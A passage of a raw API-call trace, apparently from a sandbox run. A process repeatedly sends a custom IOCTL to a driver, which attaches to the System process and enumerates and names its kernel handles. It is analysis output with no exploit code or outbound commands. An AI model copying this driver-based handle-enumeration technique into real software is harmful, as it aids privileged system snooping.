dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.175] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.175] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0089.175] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.175] PsAcquireProcessExitSynchronization () returned 0x0 [0089.175] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.175] ObReferenceObjectByHandle (in: Handle=0xffffffff80000330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030ebcb0, HandleInformation=0x0) returned 0x0 [0089.175] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.175] PsReleaseProcessExitSynchronization () returned 0x2 [0089.175] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.175] ObQueryNameString (in: Object=0xfffffa80030ebcb0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.175] ObfDereferenceObject (Object=0xfffffa80030ebcb0) returned 0x2 [0089.175] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.175] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.175] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.175] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x13c, lpOverlapped=0x0) returned 1 [0089.175] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.175] PsAcquireProcessExitSynchronization () returned 0x0 [0089.175] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.175] ObReferenceObjectByHandle (in: Handle=0xffffffff80000334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030f8a90, HandleInformation=0x0) returned 0x0 [0089.175] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.175] PsReleaseProcessExitSynchronization () returned 0x2 [0089.175] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.175] ObQueryNameString (in: Object=0xfffffa80030f8a90, ObjectNameInfo=0xfffffa8003a26044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a26044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.175] ObfDereferenceObject (Object=0xfffffa80030f8a90) returned 0x2 [0089.175] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.175] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.175] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.175] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0089.176] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.176] PsAcquireProcessExitSynchronization () returned 0x0 [0089.176] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.176] ObReferenceObjectByHandle (in: Handle=0xffffffff8000033c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030eb790, HandleInformation=0x0) returned 0x0 [0089.176] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.176] PsReleaseProcessExitSynchronization () returned 0x2 [0089.176] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.176] ObQueryNameString (in: Object=0xfffffa80030eb790, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.176] ObfDereferenceObject (Object=0xfffffa80030eb790) returned 0x1 [0089.176] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.176] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.176] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.176] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0089.176] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.176] PsAcquireProcessExitSynchronization () returned 0x0 [0089.176] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.176] ObReferenceObjectByHandle (in: Handle=0xffffffff80000340, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800c9c02a0, HandleInformation=0x0) returned 0x0 [0089.176] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.176] PsReleaseProcessExitSynchronization () returned 0x2 [0089.176] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.176] ObQueryNameString (in: Object=0xfffffa800c9c02a0, ObjectNameInfo=0xfffffa8003a70044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a70044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.176] ObfDereferenceObject (Object=0xfffffa800c9c02a0) returned 0x2 [0089.176] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.176] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.176] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.176] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0089.176] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.176] PsAcquireProcessExitSynchronization () returned 0x0 [0089.176] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.176] ObReferenceObjectByHandle (in: Handle=0xffffffff80000384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031a6400, HandleInformation=0x0) returned 0x0 [0089.176] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.176] PsReleaseProcessExitSynchronization () returned 0x2 [0089.176] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.176] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a71044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a71044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.176] ObfDereferenceObject (Object=0xfffffa80031a6400) returned 0x1 [0089.177] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.177] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.177] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.177] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0089.177] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.177] PsAcquireProcessExitSynchronization () returned 0x0 [0089.177] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.177] ObReferenceObjectByHandle (in: Handle=0xffffffff80000388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003195a90, HandleInformation=0x0) returned 0x0 [0089.177] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.177] PsReleaseProcessExitSynchronization () returned 0x2 [0089.177] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.177] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.177] ObfDereferenceObject (Object=0xfffffa8003195a90) returned 0x1 [0089.177] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.177] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.177] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.177] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0089.177] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.177] PsAcquireProcessExitSynchronization () returned 0x0 [0089.177] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.177] ObReferenceObjectByHandle (in: Handle=0xffffffff8000038c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031a3590, HandleInformation=0x0) returned 0x0 [0089.177] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.177] PsReleaseProcessExitSynchronization () returned 0x2 [0089.177] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.177] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a73044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a73044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.177] ObfDereferenceObject (Object=0xfffffa80031a3590) returned 0x1 [0089.177] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.177] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.177] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.177] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0089.177] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.177] PsAcquireProcessExitSynchronization () returned 0x0 [0089.178] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.178] ObReferenceObjectByHandle (in: Handle=0xffffffff80000390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f61820, HandleInformation=0x0) returned 0x0 [0089.178] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.178] PsReleaseProcessExitSynchronization () returned 0x2 [0089.178] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.178] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a74044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a74044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.178] ObfDereferenceObject (Object=0xfffffa8002f61820) returned 0x4 [0089.178] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.178] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.178] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.178] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0089.178] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.178] PsAcquireProcessExitSynchronization () returned 0x0 [0089.178] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.178] ObReferenceObjectByHandle (in: Handle=0xffffffff80000394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031a8d50, HandleInformation=0x0) returned 0x0 [0089.178] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.178] PsReleaseProcessExitSynchronization () returned 0x2 [0089.178] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.178] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a76044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a76044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.178] ObfDereferenceObject (Object=0xfffffa80031a8d50) returned 0x1 [0089.178] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.178] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.178] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.178] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0089.178] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.178] PsAcquireProcessExitSynchronization () returned 0x0 [0089.178] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.178] ObReferenceObjectByHandle (in: Handle=0xffffffff80000398, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031a9f20, HandleInformation=0x0) returned 0x0 [0089.178] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.178] PsReleaseProcessExitSynchronization () returned 0x2 [0089.178] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.178] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a77044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a77044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.178] ObfDereferenceObject (Object=0xfffffa80031a9f20) returned 0x1 [0089.178] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.179] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.179] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.179] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0089.179] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.179] PsAcquireProcessExitSynchronization () returned 0x0 [0089.179] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.179] ObReferenceObjectByHandle (in: Handle=0xffffffff800003a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031aa7c0, HandleInformation=0x0) returned 0x0 [0089.179] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.179] PsReleaseProcessExitSynchronization () returned 0x2 [0089.179] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.179] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a78044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a78044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.179] ObfDereferenceObject (Object=0xfffffa80031aa7c0) returned 0x1 [0089.179] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.179] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.179] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.179] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.179] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.179] PsAcquireProcessExitSynchronization () returned 0x0 [0089.179] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.179] ObReferenceObjectByHandle (in: Handle=0xffffffff800003b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80031d7c80, HandleInformation=0x0) returned 0x0 [0089.179] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.179] PsReleaseProcessExitSynchronization () returned 0x2 [0089.179] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.179] ObQueryNameString (in: Object=0xfffffa80031d7c80, ObjectNameInfo=0xfffffa8003a79044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a79044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.179] ObfDereferenceObject (Object=0xfffffa80031d7c80) returned 0x2 [0089.179] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.179] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.179] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.179] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0089.179] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.179] PsAcquireProcessExitSynchronization () returned 0x0 [0089.179] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.179] ObReferenceObjectByHandle (in: Handle=0xffffffff800003cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f699f0, HandleInformation=0x0) returned 0x0 [0089.179] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.179] PsReleaseProcessExitSynchronization () returned 0x2 [0089.180] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.180] ObQueryNameString (in: Object=0xfffffa8002f699f0, ObjectNameInfo=0xfffffa8003a7a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7a044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.180] ObfDereferenceObject (Object=0xfffffa8002f699f0) returned 0x1 [0089.180] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.180] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.180] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.180] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0089.180] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.180] PsAcquireProcessExitSynchronization () returned 0x0 [0089.180] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.180] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f698a0, HandleInformation=0x0) returned 0x0 [0089.180] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.180] PsReleaseProcessExitSynchronization () returned 0x2 [0089.180] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.180] ObQueryNameString (in: Object=0xfffffa8002f698a0, ObjectNameInfo=0xfffffa8003a7b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.180] ObfDereferenceObject (Object=0xfffffa8002f698a0) returned 0x1 [0089.180] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.180] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.180] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.180] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xde, lpOverlapped=0x0) returned 1 [0089.180] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.180] PsAcquireProcessExitSynchronization () returned 0x0 [0089.180] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.180] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f66340, HandleInformation=0x0) returned 0x0 [0089.180] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.180] PsReleaseProcessExitSynchronization () returned 0x2 [0089.180] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.180] ObQueryNameString (in: Object=0xfffffa8002f66340, ObjectNameInfo=0xfffffa8003a7c044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7c044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.180] ObfDereferenceObject (Object=0xfffffa8002f66340) returned 0x2 [0089.180] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.180] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.181] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.181] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0089.181] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.181] PsAcquireProcessExitSynchronization () returned 0x0 [0089.181] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, 